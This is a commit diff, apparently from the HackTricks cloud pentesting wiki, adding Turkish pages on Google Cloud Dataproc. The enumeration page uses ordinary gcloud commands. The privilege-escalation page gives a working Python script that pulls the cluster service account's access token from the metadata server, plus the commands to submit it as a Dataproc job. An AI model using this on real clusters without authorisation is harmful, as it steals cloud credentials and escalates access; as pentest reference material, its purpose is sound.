mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Yetki Yükseltme
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Bu yöntemi kullanarak bir ters shell elde edemedim, ancak aşağıda açıklanan yöntemle metadata uç noktasından SA token'ını sızdırmak mümkündür.
|
||||
|
||||
#### Sömürme adımları
|
||||
|
||||
- İş scriptini GCP Bucket'a yerleştirin.
|
||||
|
||||
- Bir Dataproc kümesine iş gönderin.
|
||||
|
||||
- Metadata sunucusuna erişmek için işi kullanın.
|
||||
|
||||
- Küme tarafından kullanılan hizmet hesabı token'ını sızdırın.
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Google Cloud Dataproc, Apache Spark, Apache Hadoop, Apache Flink ve diğer büyük veri çerçevelerini çalıştırmak için tamamen yönetilen bir hizmettir. Temelde veri işleme, sorgulama, makine öğrenimi ve akış analitiği için kullanılır. Dataproc, organizasyonların dağıtık hesaplama için kümeler oluşturmasını kolaylaştırır ve Cloud Storage, BigQuery ve Cloud Monitoring gibi diğer Google Cloud Platform (GCP) hizmetleriyle sorunsuz bir şekilde entegre olur.
|
||||
|
||||
Dataproc kümeleri sanal makinelerde (VM'ler) çalışır ve bu VM'lerle ilişkili hizmet hesabı, kümenin izinlerini ve erişim seviyesini belirler.
|
||||
|
||||
## Bileşenler
|
||||
|
||||
Bir Dataproc kümesi genellikle şunları içerir:
|
||||
|
||||
Master Node: Küme kaynaklarını yönetir ve dağıtık görevleri koordine eder.
|
||||
|
||||
Worker Nodes: Dağıtık görevleri yürütür.
|
||||
|
||||
Service Accounts: API çağrılarını yönetir ve diğer GCP hizmetlerine erişir.
|
||||
|
||||
## Enumeration
|
||||
|
||||
Dataproc kümeleri, işleri ve yapılandırmaları, hizmet hesapları, izinler ve potansiyel yanlış yapılandırmalar gibi hassas bilgileri toplamak için sıralanabilir.
|
||||
|
||||
### Küme Sıralaması
|
||||
|
||||
Dataproc kümelerini sıralamak ve ayrıntılarını almak için:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### İş Enumerasyonu
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user